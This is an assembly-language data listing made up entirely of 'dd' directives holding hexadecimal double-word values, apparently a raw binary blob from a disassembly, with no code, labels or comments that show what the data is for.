dd 0DE72FEF6h, 0AB131400h, 0CD4D3FA8h, 0C64503CAh, 0F7ACCE9Ch
dd 7BB00EC8h, 7015E80Eh, 38FD0087h, 73F410CFh, 4A59741Eh
dd 506CC061h, 0DE036AB3h, 0A0A89CC0h, 0C937E85Dh, 8C081C35h
dd 0C3FE402Ch, 0D87D2A55h, 70085E4h, 59BDDA67h, 79BADA8h
dd 92EE3FBEh, 38B7C0C4h, 5C000644h, 110458CAh, 0DD4124h
dd 0B38BF895h, 0E3A1BCF1h, 92263101h, 2E6473D2h, 0B85E7A70h
dd 0B6D30086h, 0E8E5171Eh, 8B008DBFh, 9F2073DFh, 755844Bh
dd 0E4BB68C4h, 0E8BF3012h, 0C6006D9Bh, 9E7B7163h, 0A01B5276h
dd 28DEE4BCh, 0E081CFA7h, 3FEE63Dh, 485F3F8Dh, 4F8AD5B4h
dd 8CFAB858h, 3ED61000h, 69E6F598h, 0C1E82C2Ch, 75C70528h
dd 4B8F8099h, 523EB1D4h, 7FE400C2h, 0BD6C01A9h, 49690094h
dd 4333A77Ah, 9F00EB1Bh, 0B0423A84h, 0A2A14Bh, 2A9B59F5h
dd 65DE25C7h, 0AC990B00h, 30D6CA9Ch, 6C881211h, 7CAB008Ch
dd 0DD82FEAAh, 9CD43200h, 4C3079DCh, 781B0028h, 37E1FDEFh
dd 58903F4Eh, 0C1190A07h, 7A50A303h, 0FB731D4h, 231863BAh
dd 80259060h, 0D81EE3D3h, 778040E8h, 5C56DE3Ah, 0B48348ECh
dd 3BD4FF24h, 7710312h, 0B0ED4466h, 7A518674h, 87B4A816h
dd 50BE4F00h, 0B979901h, 0DDDC2C4h, 478CE400h, 0F203B9CEh
dd 0C6AAB02Fh, 0FBDBA8A9h, 455C0059h, 0FA728B6Ch, 0D900D31Ch
dd 8CAC38C2h, 2E131A4Eh, 809CD216h, 0B9A112A6h, 0B8092D6Dh
dd 0E821D338h, 16241A8Ch, 4CA634h, 0A4AE9BEh, 0D4009AB5h
dd 0CE4F4B72h, 0A03B35ECh, 3C215FCh, 73097A77h, 39D03A66h
dd 589868D8h, 63F11600h, 0CCE0909Dh, 4EBAB04Eh, 0EA8A4h
dd 6B27C4D7h, 0A5296Dh, 17AE2434h, 493288CCh, 0E60371E2h
dd 62FE799Dh, 73A2D8C6h, 75410747h, 20D8633Fh, 52C73003h
dd 0B426EE00h, 0F8B3CAFEh, 2B7F0056h, 8484C0Dh, 9A00D87Eh
dd 8B2334CBh, 0C7F0AAh, 61E04696h, 12AB9B66h, 9CCE763Bh
dd 0A82CE436h, 57D08F00h, 93EC4Ch, 655917FEh, 3021028Bh
dd 800BA53Dh, 7D07B989h, 24665B1Eh, 68FB0Fh, 57F26AF8h
dd 51002FE9h, 3F59C6B3h, 124002C1h, 346414h, 15722A93h
dd 50388580h, 0A86389EEh, 0A6C42061h, 23AF647h, 25AF0FCCh
dd 0E8400C4Ch, 0C900EC60h, 679D2624h, 1AC24Dh, 0AF1462A2h
dd 0A9B50663h, 0CF00F47Ch, 5D79B666h, 8D4B8h, 0A7765BE1h
dd 2EB0C504h, 68128000h, 6DBDCD2Dh, 0C6D60743h, 59B12544h
dd 304B864h, 9B1AE2EDh, 470044ACh, 1D108E0Dh, 0CA00AD5Eh
dd 0CD6A7134h, 7CA6B623h, 967D1E8Bh, 0A94B40B2h, 60BA9E02h
dd 0FE0052B0h, 83ADD777h, 1649E3A7h, 94E20Eh, 0C4AAF783h
dd 500EC9Bh, 12A76DDFh, 0B4DE10h, 925E043h, 0F73EFD7Ch
dd 31BFE900h, 38D4813Dh, 465E1D5Dh, 2829419Bh, 304F5884h
dd 3920B7BCh, 0DC860035h, 62CBE74Dh, 4B25ED4Ch, 0A87860AAh
dd 7F5289Bh, 634102E8h, 31AF093Bh, 54104340h, 28A0B00h
dd 0B023DCFDh, 86C009D5h, 0B4A2B39Fh, 30E38D44h, 0F6E6EBD0h
dd 9C1AC40Ah, 301DD038h, 0A0203952h, 9D20D87h, 125932A8h
dd 0A4648400h, 7D1FA182h, 6F0E2B67h, 0ACD180BCh, 2CF5C149h
dd 0D01DFCh, 4F594C69h, 4802432Dh, 6062E6D9h, 29060DAh
dd 88BF599Ah, 0ABE9EC00h, 7AD4384Ah, 0F4905C00h, 9371A4ACh
dd 0BA502E95h, 0CFAB00E2h, 0F645C7DEh, 48A36400h, 9272E79h
dd 0F5F406h, 2259BCCEh, 0E9B6788h, 0D496D2F4h, 0BD037500h
dd 0A67C46h, 0C286DC38h, 53855AFCh, 4D0F9E00h, 30F18DFFh
dd 0D5810324h, 642D65B3h, 0EC16F998h, 0C801C5E4h, 6CDF768h
dd 0C06A708Ch, 4BE9EBD0h, 0AC6F8F00h, 11DB3179h, 0FAD0001Eh
dd 51414999h, 0D92E0A5Bh, 170F49ECh, 814E6368h, 120DD1BBh
dd 15D2B8F7h, 0B6E402B1h, 0E16424B7h, 71607C60h, 288B082Ch
dd 6AE2A202h, 5E7468CAh, 7D211F44h, 727EC341h, 18CE4AC2h
dd 0D4022F4Fh, 40F8AF13h, 644C93h, 9A27E58Ah, 5C5A38C0h
dd 9706A301h, 0A9F9D5D6h, 706E3080h, 8C86E2CCh, 0FEB6690Fh
dd 3A8AC0DFh, 3AFADh, 5DE4E997h, 0D4520E62h, 98274705h
dd 88A04D7Eh, 146F0B10h, 900EBF5Ch, 5B3AEBE0h, 0D84A03ECh
dd 0C500D2F8h, 0EFDAD963h, 0CD0014FCh, 8DCF0C0Dh, 4591B7h
dd 62CC5873h, 791E9A53h, 6E6F7D0Ah, 6B0087E2h, 573A638Bh
dd 8AE60108h, 3355BAC4h, 0F728801Fh, 0A7D3A2F6h, 0FF8E0078h
dd 727F8C22h, 3C00BAAFh, 0F31136D7h, 0EA4EE28h, 50D0F419h
dd 4C5514A3h, 74002F93h, 2375FE59h, 26DA6DDh, 0A5A10921h
dd 4563E01h, 0FEE0D880h, 70BC13h, 780FB172h, 0A3573D5Dh
dd 8D00DCE2h, 21890B58h, 7387EFh, 0ED1D4F8h, 9B3FCEA8h
dd 503A1000h, 1D2EABEBh, 987513B2h, 8168A0DEh, 0A579E90Ch
dd 0F0D11121h, 2767F8C7h, 7C48D544h, 0C9010F47h, 5170BE95h
dd 0B4D1767Ch, 24FFD8h, 0B94F192Dh, 0D10EC6E9h, 600230C0h
dd 0CBEACCh, 5FC7840Ah, 0DFF44C80h, 0AAA48300h, 0AC1D0659h
dd 790C045Eh, 0BA117D36h, 0C6B5C841h, 0D1F07718h, 0E3FE576h
dd 0B020DE0Ch, 8EF3FE02h, 42809006h, 5C04F23h, 44648560h
dd 0C45848D6h, 0C78A610h, 964D7131h, 7300BCA0h, 7C6E81CBh
dd 252D5A02h, 245820D0h, 0A5884102h, 60ED6604h, 0D1211Ch
dd 4DD55A0Bh, 4C9B2616h, 234B0D00h, 8C793DA2h, 0D6F000F2h
dd 7E3F5029h, 5338AD7Ch, 0CB4C52h, 570595F8h, 8202C2h
dd 39BB7441h, 7DC4D9B6h, 5DC0C79Dh, 80A6960h, 92924EBAh
dd 872FB198h, 0D1CBAF48h, 610E8040h, 9905DE77h, 0E425F9BCh
dd 2F410070h, 0F13BD18Ch, 6509666Eh, 807BF890h, 1182BA30h
dd 237904C8h, 0AE559826h, 0EEB0EC45h, 0A03850ECh, 0BC818309h
dd 0CE03C476h, 682E130h, 98060D29h, 0F3C11EDh, 7F7D1C7Ch
dd 75900C03h, 0EF1825E4h, 0E31D74FAh, 4F4A739Fh, 0DC17641Ah
dd 6CC511h, 0E507B0C9h, 1FC0A7E0h, 401877EFh, 0DA5AB7B4h
dd 47281787h, 0DF1C3410h, 400D4E2h, 18F14DAFh, 85D61C24h
dd 762180FDh, 0F80D2786h, 97E1AB09h, 1EFC58E8h, 13DC6964h
dd 0AAE8F025h, 3500C0A4h, 0BE32C9E9h, 2EA9F59h, 54586CC2h
dd 0E0764F3Dh, 0B5900660h, 238001EAh, 8A46E217h, 4C0DD897h
dd 8621751Fh, 0ACE0CD01h, 82F09631h, 0EE8026C9h, 0CEA700B2h
dd 0FAF36563h, 9B9E0900h, 0BB2A43DDh, 60DF7398h, 0E82130CAh
dd 890FA3B2h, 188BB966h, 30540D48h, 17603C79h, 2A009944h
dd 6105712Dh, 0C3557FCh, 88A066FDh, 70E8CF31h, 3C90783Dh
dd 506E046Fh, 3080C1EFh, 0B018B2A7h, 8C8F0034h, 0FC39CBBAh
dd 0BF00788Eh, 0F54F3FACh, 1DACE18h, 0ECF84D21h, 80C1C4F4h
dd 0EF280510h, 182A8F08h, 71D0A466h, 201852DFh, 50116E5Eh
dd 0A97F003Ch, 7A533894h, 0C80C356Bh, 202A0C40h, 62C1000Fh
dd 0DE038401h, 0C3002FD8h, 77E97B10h, 5F2DA5h, 0DA2B57D0h
dd 55AA347Ah, 1D187667h, 261EA480h, 2C09000Dh, 0AD61F1CEh
dd 0FDF8704Bh, 877FF978h, 50004378h, 0D767F591h, 76BEC5h
dd 771D8DB9h, 0EE0C2073h, 0B22DD01Fh, 0FDCCA41Fh, 609A5072h
dd 0B0BF682Bh, 4C3BC83Fh
dd 773000Ah, 0D9EEEB5Ch, 0F76F3077h, 43E5A619h, 79763B1Fh
dd 3DACA0Fh, 0C03A3119h, 60203F89h, 1D7D28B2h, 2F037317h
dd 6B8F7709h, 0C218005Bh, 23DABDE7h, 79CA2460h, 29700476h
dd 0EEED38D8h, 0CBE2CE80h, 7705C772h, 3514C5Ch, 538470E6h
dd 12EC8D2h, 61F930CAh, 3DA179Ch, 0C458E600h, 0CC29EE02h
dd 3A5F451h, 0EC771CCDh, 690FB345h, 8078D79Fh, 2A1EE2F9h
dd 193B3A32h, 3C219E30h, 0A70F78DFh, 0E7FFB9Fh, 0C807203Fh
dd 306FF35Dh, 0A4D89877h, 0BB08D4FEh, 817A877Dh, 36ECED16h
dd 0B389F8F5h, 1E09FD66h, 0F75FA21h, 69EBD2EDh, 2A728237h
dd 98AD80A0h, 547D3811h, 0F0D42651h, 0AC02D3E1h, 39A15DFDh
dd 88908079h, 0C50CB0Fh, 0BEA5D6E3h, 0D8B5F558h, 1DD88848h
dd 388C2025h, 36B4C901h, 904787FBh, 0E32D2080h, 0D77D7504h
dd 120820A7h, 87F5C069h, 0D083403Bh, 486F81C0h, 0E324409Fh
dd 3CFD0808h, 0C47AF301h, 2CE5CDBEh, 0A8DD986h, 3A0628BBh
dd 72A2B91Ah, 21716008h, 0CDBB0262h, 0E2345Ch, 4954CCD5h
dd 30E5E8B2h, 0C0F8A3C5h, 0F122E73h, 1440BA6Eh, 0DEE7B605h
dd 936F0C52h, 0A1093A7Ah, 7DE521C0h, 7A3FA5F8h, 5823000Fh
dd 52D890EBh, 7550E9F4h, 4B00C0B0h, 0D1180273h, 92675FB7h
dd 0F480000h, 0BF40AFA6h, 2200A2D0h, 8174C71Ah, 30A45226h
dd 0B44001E9h, 8F50CBA0h, 51073484h, 323F8868h, 0DFBF0411h
dd 0A3DF0Bh, 429E783Bh, 28018CE7h, 0C00B5D6Ch, 41DF6FA1h
dd 0A985DA69h, 2F714DB4h, 0A3238Ch, 2F633F74h, 940433CAh
dd 2A70E4A8h, 46481CC1h, 0C3019423h, 0C2F9B178h, 8B770C19h
dd 4590CBF3h, 7A0037D5h, 0CC57072Ch, 3D7EE4Bh, 0F243E253h
dd 78182E34h, 69E925FDh, 5B5D0022h, 5349D3DEh, 0EEFE51B5h
dd 54DF8904h, 0D882D265h, 0C544904Ah, 0F9CF1178h, 804C8832h
dd 4F78CD72h, 0DC1CB21Dh, 0B824CE20h, 405594h, 821DF442h
dd 498D7Ah, 2FEF517Fh, 0F2128B78h, 0C5FB2200h, 0A58A9991h
dd 0BF882A43h, 647D98h, 0A331AE59h, 0C3901AB2h, 3BFFE300h
dd 0CAD8EE1h, 50B0D4D8h, 0B5000823h, 0B752C3E7h, 8EC4A592h
dd 0A6407CF8h, 0D0A9F0E8h, 43B28106h, 0B104F1h, 8D8CA345h
dd 52E08960h, 85C664A0h, 7CFCD900h, 638FF557h, 59A0006Ch
dd 949A659Bh, 0A82CC348h, 98321410h, 0D9A4B04Eh, 0F9AB0878h
dd 4B641FD2h, 78C12640h, 6000372Ch, 4A476509h, 118BCA7h
dd 5A6D76A2h, 20296B81h, 0AC005244h, 23AD94FAh, 426932h
dd 50C824A1h, 0B8B2798Bh, 0B3052C99h, 0BB811FDCh, 38911EFEh
dd 0B62803C2h, 0B84683h, 7EA05C80h, 409A39Ch, 784CB090h
dd 8C04E8B0h, 275E3Ah, 1F4A6B56h, 45A32C6h, 0F818AEA0h
dd 63E890A9h, 21EECBFh, 4D9390CDh, 1889B049h, 34FDDAE0h
dd 0C718BAA5h, 561E517Ch, 0F51081B9h, 0A21EC27h, 31AA28A8h
dd 57183A35h, 9CC4C648h, 30D78D36h, 17346C8h, 0F550ECE7h
dd 50C8F2Eh, 4F3088h, 267FC1EDh, 4A32D2F6h, 8D32D5FAh
dd 82D76833h, 8505E1A4h, 0F42F1D94h, 161C4C23h, 0A1950280h
dd 0B9384F8Bh, 287C1404h, 178C77B8h, 7D52EDh, 6F53A9C0h
dd 0D100E8B8h, 0EEA24E96h, 655D015h, 3F214A57h, 0D600E97Dh
dd 7B31B45Ah, 26891819h, 119CA7E2h, 0BB5080CBh, 870ADAE1h
dd 0BB086C05h, 94998C0h, 7D2E296h, 18CF63C1h, 0D96144B9h
dd 2D442D4h, 8E7AB30h, 936752C5h, 0FA43A064h, 0E6F0F872h
dd 6A70E19Ch, 89CF4E13h, 30C1F472h, 0E708BB5Eh, 641B1ADAh
dd 366E403Eh, 0BEC7BBh, 4824D001h, 20E23934h, 0A5486FB8h
dd 2E54859Ch, 0CFC3C800h, 0CFDA64Bh, 0AF8E155Eh, 0F90AC219h
dd 6C3373F1h, 0B4850911h, 0DF7882E7h, 0AC44406Ch, 0F87302FFh
dd 0A288473Dh, 7C800451h, 19836FF1h, 62EF01E2h, 0F28BE58Fh
dd 5BC1812Eh, 649CB31Eh, 0BEDC30h, 0BC94B789h, 3FA1B869h
dd 0C8908C68h, 11038209h, 0C4184B50h, 0F9B47804h, 903219CAh
dd 78CC7520h, 8A1200C8h, 5BF850A4h, 7909CE73h, 9020F7A1h
dd 0DD7BA540h, 2C8AB60h, 0B929F65Ah, 2024DC44h, 0F4423835h
dd 61D840CEh, 57F38030h, 0E3A8D854h, 0CF8E38B9h, 1EAC0C1h
dd 6F40248h, 74DA2E4h, 2E09F0FAh, 3022524Fh, 25BC502Ch
dd 0D83A2775h, 0F425CC7h, 9ED0182Eh, 995D5C05h, 0A84B3D73h
dd 118C1DFDh, 0C3208F43h, 0EC3CF3FAh, 0F792C92h, 0C2FC0DEAh
dd 30951D68h, 81809091h, 114C668Ah, 0FB8EB201h, 1415E622h
dd 60EEB040h, 0DF1D00B5h, 0F35F7075h, 7D6045C5h, 0B6660141h
dd 1F26009Bh, 0C359B97Fh, 2258215Ah, 0E2A6C0DCh, 0CA0E1Bh
dd 0B31A12D3h, 56A09EDAh, 43680102h, 4836C816h, 2A41E44h
dd 613FBAE4h, 0EC6A2D7Fh, 0AC4C047h, 14B76060h, 3E074300h
dd 0C1D1A35Fh, 6088966Dh, 7B942675h, 8290A0A0h, 4D25C004h
dd 5081C4F9h, 80227045h, 0DE017523h, 3AF9AA78h, 7F884A18h
dd 0CD7801C6h, 270E10D3h, 0FD14303Dh, 0F221F409h, 80C4295Bh
dd 86BD1CD1h, 49B238DEh, 9D920682h, 0EC962438h, 4971E891h
dd 643F6A18h, 45570CC7h, 0A07C81Ch, 3BD15AAAh, 43DB80B8h
dd 7669CA50h, 0E49189Ch, 54805188h, 0EADB45BBh, 688F448Ch
dd 0EEBB0C00h, 2F3B158Dh, 0F21606B0h, 50249057h, 0AC1E2238h
dd 0C350D0D6h, 0D690231h, 0F34DB3D0h, 0C7005064h, 0EC1C6E7Ah
dd 0E460FA18h, 50C23C3Eh, 0C874B69Bh, 2517F1D8h, 36119C99h
dd 0D9E7B780h, 608CC752h, 7EFE610Eh, 3000BBF8h, 34B88291h
dd 81FBAD5h, 7655A718h, 0CA353344h, 2E0EC40Ch, 0C3F00730h
dd 525EFA04h, 8E1D61Ch, 4428A8h, 3FC59BF4h, 103907FFh
dd 6093A0BAh, 0B86CC714h, 28058C09h, 27255452h, 80936404h
dd 5A807D0Fh, 0AD786CBDh, 716171Fh, 9F3AC587h, 62FAE440h
dd 3E12091Ah, 882A4F14h, 6078E4C0h, 2353ED44h, 41146F5h
dd 7AECCF1Ch, 0AC56BB8Fh, 60FFD6BDh, 23510790h, 7A72F8A8h
dd 0A96F8932h, 0C8D04CE3h, 0E2C07278h, 0EAF509ECh, 3D80858Ah
dd 6C7AED4Ah, 0E919008Ch, 0BCA4AF71h, 7680D155h, 37460051h
dd 5FBB4FD6h, 6104882Eh, 5ADBB922h, 3838D4D9h, 68C43ACh
dd 7381FA62h, 3807488Ah, 27F592E3h, 34A4B8D4h, 0A8D353A9h
dd 0EA3301E2h, 9D54C033h, 0F1C08003h, 0F18423F3h, 8C0C2DADh
dd 0D51ED800h, 91573027h, 0AD59C321h, 14886299h, 261D6BFDh
dd 0B60343F6h, 0D0F3A70Eh, 192CDC66h, 9C40A92h, 8721934Fh
dd 0DCC52F00h, 534419h, 1BE854BCh, 897D69B3h, 0D8595200h
dd 95E7EFF8h, 2D290393h, 0E2411A46h, 613191C1h, 7008006Bh
dd 9E183A45h, 2E60470Ah, 55AA008Ah, 0B20F8891h, 8CC8089h
dd 0E4B2121h, 0D722AAF2h, 1EA7F0A0h, 53E7392h, 0B2430C0Fh
dd 96280Eh, 0FBF70263h, 336FA362h, 6A084B66h, 5B7D0021h
dd 888BAD02h, 0A17207C3h, 0F87A46FCh, 8C37C529h, 0CD8F2011h
dd 3CDC6042h, 3585001Ch, 152472FDh, 0DD080DFCh, 0E1463B1h
dd 784CCD9Dh, 0E9190158h, 3918202Bh, 30388042h, 2B11AA8Ch
dd 24889891h, 0AAF44980h, 1D2079Bh, 5E984552h, 80159E93h
dd 7109B121h, 1DDC74CEh, 181F2312h, 3E47A075h, 29139B30h
dd 8BF364h, 0DB332022h, 0CD619897h, 944AE528h, 45C11C0Fh
dd 0F70E008Eh, 0C0169E35h, 0F30C6039h, 0E00F9329h, 41582664h
dd 89662818h, 7D6043C8h, 9E72488Fh, 4CFF507Ah, 0D6DD1FC1h
dd 718D5DB5h, 806A7F80h
dd 0CB540B99h, 1902E0E6h, 41E8432Bh, 29218030h, 81F5CB2Ch
dd 0F8D50694h, 59199E1Bh, 8E015374h, 0B5FA5A10h, 49F08448h
dd 57F40079h, 1B9363E7h, 0C414B1CDh, 1FC00D75h, 0A9099DAh
dd 750B5150h, 2CF8A9EBh, 6CF4F118h, 448CDC71h, 390281B3h
dd 0BB47AEFDh, 6248879Bh, 98022180h, 0C5060045h, 0DACDDC91h
dd 0A43C975Fh, 51C109B3h, 3E80037Ch, 4839F25Bh, 32B8C38h
dd 99DC78CFh, 0A041324Fh, 971088C0h, 29A84C19h, 6FE8ED8Ch
dd 229446DCh, 3E9E004Eh, 32884FFDh, 0C91891F1h, 0E0805C65h
dd 24B7EEFFh, 74C47C7Fh, 8031A46h, 58E92992h, 63405012h
dd 90BB040h, 7C80FA64h, 0FE20EC37h, 0EA3F00A5h, 9BE21848h
dd 48D94591h, 89183978h, 9154AA04h, 27320CD0h, 0AAF1A22Fh
dd 7271408Eh, 0DBD305E5h, 2124E399h, 88212E8h, 0F07A8C23h
dd 24DC6111h, 848A4B88h, 7300A438h, 0A559F5DCh, 32530057h
dd 5EFC9E37h, 50256E1h, 0B6C23571h, 4604C67h, 0E0E7CB51h
dd 2032620Ah, 0B3CB292Eh, 0EF014576h, 53F4223Ch, 3FDDFC46h
dd 0F18B884h, 6660D8F7h, 0FBF00208h, 4068C44Ah, 0F8025E76h
dd 8CC60FE9h, 0C46F2FC7h, 0E7777140h, 643EF1D2h, 9D5287D9h
dd 276250C9h, 44BC4741h, 0BC3E6033h, 0EC2B0FF0h, 245FF7FDh
dd 0FE9B0118h, 0E843C951h, 1D549E3Eh, 740017D0h, 0C79B4AEBh
dd 52720C4h, 0F1B999A8h, 57B4405Ch, 0BAB3347Dh, 9540690Fh
dd 4EDC98Dh, 0C0673504h, 0F09128AAh, 48C004B1h, 79AAAF5h
dd 16DF9D87h, 0B0E7A23Bh, 0D0E590A0h, 0B23EE0F4h, 0AE561F2Ah
dd 97293102h, 5B84A41Ah, 8BCB5560h, 0C32AE038h, 2DF60D22h
dd 0D9CB3Bh, 17381441h, 29C19089h, 0D1287B81h, 37D1879h
dd 318C372Bh, 48016301h, 0C1D789FDh, 109268CDh, 0F00C083Ah
dd 0F1026DC0h, 0A1722CFBh, 653F586Ch, 5DBF0200h, 0B0269779h
dd 7DD90277h, 901C5B3h, 16F7F03h, 90329689h, 806D403Ah
dd 27E32141h, 147880h, 0FEC858B5h, 3CF5A404h, 2A00FCF2h
dd 4951E403h, 12534C3h, 0CBF76F53h, 51429561h, 0E0F2F4F0h
dd 11DE5E89h, 0C171E99Bh, 0E4579353h, 0CCCBF5F0h, 30B03Eh
dd 0F38D3961h, 0CD941F53h, 44932E16h, 0BE12431h, 0BE6CC214h
dd 0B3621360h, 5A043176h, 4AD9CC16h, 8C3E64C8h, 51AAE602h
dd 190CE891h, 8E571025h, 818600AAh, 89D5E9D9h, 0BCA7694Fh
dd 7389B14Fh, 37DD7300h, 2E011F40h, 0E4D9B1BDh, 0BEEFEFE0h
dd 0B65B14A0h, 548088EAh, 4BE9DC69h, 3CB31129h, 40189579h
dd 2C1254E6h, 7D01F69Bh, 0B861CFE7h, 0D8317082h, 28405BF9h
dd 4DF8FFA9h, 0DC5718C7h, 3B2613C3h, 7811E78h, 0C5180E73h
dd 43A18C7Fh, 1D77697Bh, 40B953F0h, 0F1C749E1h, 310146E6h
dd 6CC46F7Bh, 8DE8C592h, 0D124B15Bh, 77FC182Dh, 0ED5B3F07h
dd 4D32D980h, 0FD5E2D63h, 8CE87639h, 0B8586A17h, 0B511240Fh
dd 0FF188590h, 9DAC41F5h, 603377C1h, 0F719E035h, 7431BBADh
dd 53F37C36h, 9A78908Fh, 5520EFE2h, 0B0F1245Fh, 6426806Ch
dd 0BB515769h, 70C77E00h, 0DFD08EC4h, 0A13100F5h, 0CD8EE68h
dd 4328E9DDh, 0E8ADF013h, 5AEA6EE0h, 0C98600E1h, 1CC52885h
dd 0E20C558Ch, 98403DCFh, 441C99D4h, 26F608Eh, 82FB10CBh
dd 8097C8A0h, 0C6026739h, 1201247Dh, 775138C9h, 25CC354Ch
dd 0DD270075h, 3B3013DBh, 24141BA3h, 228CF17Ah, 5CC8C79h
dd 0C4E3FFE4h, 0B2980833h, 0A201D280h, 0CF21CAh, 612A095Dh
dd 44B19596h, 62B59309h, 0CB982191h, 0E0C801E5h, 0D54CEACFh
dd 53109460h, 9161132Bh, 54BC3020h, 180C6E14h, 402816D6h
dd 0F4C98EF4h, 0C00530B5h, 38558472h, 0E80F9C05h, 77050C80h
dd 0DA4C096Dh, 1044B613h, 2D461CB0h, 6308F23Dh, 48C4F4DCh
dd 0FD3A8240h, 0C500CA19h, 40531F2Eh, 563DD85Bh, 582284E1h
dd 0DD934C00h, 2852A843h, 2AC000BDh, 0BB47D2DFh, 4D36CDE5h
dd 20F08867h, 0F9F8336Bh, 1C221E4Bh, 44B4477Dh, 0B53C6024h
dd 2010981Ch, 0F6309091h, 0DBBF9940h, 12C200E6h, 0D5C026BAh
dd 1B3028EFh, 162DF1DAh, 0E2413891h, 0D4CFB681h, 3965F0C2h
dd 0A7DA1314h, 0D511DC02h, 4D04426Ch, 6022C4CCh, 0F48BE0C9h
dd 310709A6h, 0AC84F680h, 23DCA7BAh, 84F41E2Fh, 0A2C4DC6Dh
dd 3C80C088h, 4F988FDh, 0C11F3F49h, 6AFC906Eh, 5A4D45F7h
dd 0EC2E931Ch, 5F037F23h, 2609F866h, 90005C9h, 50493F0Fh
dd 38280D3Ch, 28C4AACh, 0C9470DE4h, 7AE05FFEh, 26E88967h
dd 5AE75826h, 0C80E9305h, 0E2E1A880h, 8F632EACh, 0D194A184h
dd 271C4Ah, 0B5125ABDh, 43014B46h, 0BEFFC18h, 12A4B1D0h
dd 8E621B31h, 0C04F88B8h, 291B0C48h, 56E13B00h, 70DBF715h
dd 0F10F2605h, 26CC060h, 7A25FBF6h, 8814A1h, 8302643Ch
dd 7E882BBCh, 8E692405h, 0C805610h, 1827D8B4h, 31674041h
dd 123A2DECh, 3E58332h, 0D07A689Ch, 2A1F269Dh, 0E863C7h
dd 376AF13Bh, 0DC620C34h, 32F374B0h, 2EA0003Ch, 86BA2B22h
dd 3F7477EDh, 0E1814934h, 33CB0651h, 0F22022C2h, 71903337h
dd 651F9E49h, 3DC67978h, 0B9625Dh, 200F2BAFh, 193CDE2Ch
dd 94672400h, 8ABEF295h, 75F61836h, 4855E02Eh, 0ACB9BC90h
dd 8E182D79h, 0DBB90600h, 207F1250h, 0DE7D09BCh, 64205851h
dd 18195FBh, 9C92FCA0h, 18122B33h, 3221E1B9h, 504BB603h
dd 4823583Ah, 0CCEDC500h, 10E865h, 764A73D7h, 1E8A1CCBh
dd 5564000h, 0E1F760E5h, 3BD89244h, 3C4C2931h, 14F9660Ch
dd 0D91B91D1h, 0F0189279h, 0DFA509F7h, 7DC10E30h, 3F10191h
dd 1EB3E9DBh, 13ADD424h, 0F6E54F2h, 9D812FC4h, 6467F529h
dd 3220CF70h, 93C12228h, 858F5202h, 0A0682F3Ah, 7AF662E8h
dd 6EA53C44h, 1205A44Dh, 42B343F2h, 38955E8h, 0CA93CE4h
dd 0B300D2B7h, 286CEF2h, 0F601F8Eh, 1848E264h, 7358D316h
dd 8C23BC00h, 44758300h, 5AEE60C6h, 0C5FB38A1h, 0D806A8h
dd 9EA9E8E1h, 7DEF6FD3h, 20944F51h, 5305A2B8h, 0C5C72B74h
dd 87A88414h, 14AFE7E4h, 91C60084h, 93A65C82h, 16BB28ECh
dd 0DF4501A4h, 39BD5D05h, 8BBEEC5Eh, 3B6C1F04h, 0D5046E85h
dd 0D99D013Ah, 5880F7BCh, 7D8BA102h, 0B50E8D6Ch, 0F304DDBh
dd 3CEFC146h, 9852F07Ch, 0C0B04DDDh, 70F530D6h, 6EE0D301h
dd 50143ED5h, 2DBCC468h, 0C74B1D8Ch, 0B58C0077h, 62AEDC25h
dd 33C9E717h, 0FB003213h, 491B549Ah, 6D020069h, 0EA51CEFAh
dd 9450B9F7h, 0D01F0EB0h, 65173D7Dh, 0DF474040h, 6F25E6Bh
dd 2DC6F6E2h, 8B0C06Ch, 0A03EF320h, 532550h, 0BA46146Dh
dd 51C26655h, 2023D030h, 29407AB6h, 0E3202D3Bh, 33EC9F82h
dd 0D2339250h, 16E7EF4h, 0DA692B39h, 0D1498BA8h, 0BC6028A5h
dd 5A008C68h, 89604ADEh, 9C7BF99Fh, 506B9940h, 46118F4h
dd 52FBCD02h, 80B4B2A3h, 3025973h, 0DBB0038h, 0D990D54Eh
dd 0CC90BDEDh, 95E45C05h, 0A4027BCDh, 50C79C5Ah, 0F12612BCh
dd 65D44059h, 0A12D039Ah, 1D8BED00h, 1043CB3Ch, 0B694B260h
dd 48465E88h, 9E6F6300h, 0ADAEB7F2h, 0E76A760Bh, 3B7041DDh
dd 0AA738F18h, 0F809110h, 0AAF74EB0h, 0C2021E0Ah, 113D901Bh
dd 9E3D45FDh, 5D602960h, 0E1E2673Bh, 20A1D301h, 0BB43E968h
dd 25EC40FAh, 614028ACh, 0F91D031Ch, 9BFEB8BFh, 0AE9CA790h
dd 0FA1AA00h, 0EEFFE4E7h, 0A7C49004h, 63214484h, 2A10A002h
dd 0FECF025Ah, 48A89E2h
dd 0F5467858h, 0F2026002h, 0F0B35AFBh, 587040ACh, 60F32602h
dd 5980489Eh, 0F725E737h, 424122Dh, 0FC9865ACh, 89CB0457h
dd 322B1AE0h, 2F2C2034h, 160064CBh, 78F69793h, 4EE8BCCh
dd 49ADFB3Eh, 0E280D115h, 2CAC3186h, 8C34BC18h, 0B291920Eh
dd 0CF52E033h, 1276675h, 44548E56h, 3CFDA5FAh, 16E403C0h
dd 534B79ECh, 25A210D0h, 5197BC30h, 482CB4E4h, 0CD819B80h
dd 0AC02610Dh, 0E1633DD3h, 761EC0C1h, 7C93045Ah, 0FE283F71h
dd 30113DC0h, 6878591Dh, 3C031708h, 0FDD80C3Eh, 6161864h
dd 0CD2808A2h, 0FC171143h, 2C3EA47Dh, 94802323h, 3371FE69h
dd 61C9073Ah, 0A0516DCFh, 9B31293Fh, 0D3311860h, 97E684h
dd 0C0D43678h, 6F09A3E9h, 4AF48E0Bh, 0FE1002ADh, 98C08979h
dd 0F48957A8h, 48F35B5Dh, 2BC05978h, 21E08DCBh, 7C912A3Ah
dd 0E4232814h, 8A195B00h, 8953D166h, 6C9C2972h, 0E871BB1Bh
dd 0BC4457FCh, 22467660h, 16A63F79h, 982EBF80h, 18747DABh
dd 1F974C00h, 0ADFA5F06h, 4C654995h, 4E05116h, 0B0B34FB1h
dd 1E639B2Ch, 0BF0DC851h, 8B492B90h, 54E6F4h, 1CAD40E1h
dd 0B7E365ECh, 90AAE2E8h, 0DC7B0C71h, 8B625460h, 0F5562914h
dd 61247CACh, 0DA403C8Ah, 98397451h, 0AD9B2AB4h, 0D91F268Ch
dd 0C96641F4h, 0F4E9E404h, 694FCC14h, 0A5FB81D8h, 0E8AC6841h
dd 3A3134CAh, 33223DCh, 0DDB8E7E9h, 76F589E0h, 217A7E33h
dd 0DF1F02Eh, 0C03C0064h, 28D59DD4h, 730359AEh, 6D2E8CEh
